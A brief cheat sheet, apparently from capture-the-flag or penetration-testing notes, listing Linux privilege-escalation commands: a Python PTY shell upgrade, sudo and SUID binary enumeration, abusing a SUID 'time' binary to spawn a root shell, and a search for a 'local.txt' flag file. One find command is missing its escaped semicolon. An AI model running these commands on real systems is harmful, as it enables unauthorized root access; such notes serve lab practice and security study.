๐ŸงImportant Commands priv escalation

python3 -c 'import pty;pty.spawn("/bin/bash")'

export TERM=xterm-256color

sudo -l

find / -type f -perm -u=s -exec ls -l {} ; 2>/dev/null

./time /bin/sh -p - replace ./time with sudo -l identified path

/usr/bin/time /bin/sh -p

find / -type f -name local.txt 2>/dev/null

Last updated

Was this helpful?